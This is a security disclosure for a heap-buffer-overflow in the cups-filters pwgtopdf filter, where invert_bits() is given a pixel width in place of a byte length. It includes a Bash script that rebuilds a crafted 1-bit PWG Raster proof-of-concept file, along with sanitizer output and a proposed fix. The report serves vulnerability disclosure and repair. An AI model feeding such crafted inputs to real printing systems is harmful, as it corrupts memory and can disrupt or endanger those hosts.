pwgtopdf: 1-bit black raster causes a heap-buffer-overflow

[kimaiden1984-boop]

Summary

cfFilterPWGToPDF() allocates a raster row by its byte length, but passes the
pixel width to invert_bits(), whose length parameter is measured in bytes.
A valid 128-pixel, 1-bit black row therefore causes 112 bytes of
read-modify-write beyond a 16-byte heap allocation.

The input is accepted by the CUPS Raster decoder and reaches the normal
standalone pwgtopdf filter with the Generic PDF Printer PPD. No fuzzing
harness or source modification is used.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

• cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
• libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
• libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.pwg is an accepted compressed CUPS/PWG Raster v2 page:

width=128, height=1
color space=K, color order=chunked
bits per color=1, bits per pixel=1
bytes per line=16

It is 1,818 bytes with SHA-256
cb69c624f75e5796dc584e8e00cdeaa066cf5e234cf12cb205a86b61e6035123.

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: pwgtopdf: 1-bit black raster causes a heap-buffer-overflow
# Finding ID: pwgtopdf-black1-invert-bits-heap-oob
# Trigger: cfFilterPWGToPDF() allocates a raster row by its byte length, but
# passes the pixel width to invert_bits(), whose length parameter is measured
# in bytes. A valid 128-pixel, 1-bit black row therefore causes 112 bytes of
# read-modify-write beyond a 16-byte heap allocation.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.pwg (1818 bytes)
write_file document.pwg cb69c624f75e5796dc584e8e00cdeaa066cf5e234cf12cb205a86b61e6035123 <<'POC_PAYLOAD_0'
H4sIAAAAAAACAzMKTgwKKE8PSiwuSS1iGAUwoMMIwUJAtgoQBzExMHxhQlUDkyMEUoD6JJhRxRqA
mBHKZoRiASifGUmcAYMt6cLA4AbEExyBOpwYGkSAbFuX0RgbBaNgFIxU4JNaQlkF9jF0FSoEAKtI
K/EaBwAA
POC_PAYLOAD_0

Result

ASan reports:

ERROR: AddressSanitizer: heap-buffer-overflow
invert_bits .../cupsfilters/pwgtopdf.c:281
convert_raster .../cupsfilters/pwgtopdf.c:1637
0 bytes after 16-byte region

The non-sanitized build aborts during cleanup with:

free(): invalid next size (fast)

Cause and expected behavior

prepare_pdf_page() allocates PixelBuffer using line_bytes, which is 16
for this 1-bit row. The selected black conversion callback is
invert_bits(). At pwgtopdf.c:1637, the call passes width (128) instead
of the row's byte count:

doc->bit_function(doc->PixelBuffer, width);

invert_bits() then XORs each of those 128 positions with 0xff. The call
must use the validated byte length, or the conversion callback must explicitly
accept pixels and handle packed samples without crossing PixelBuffer.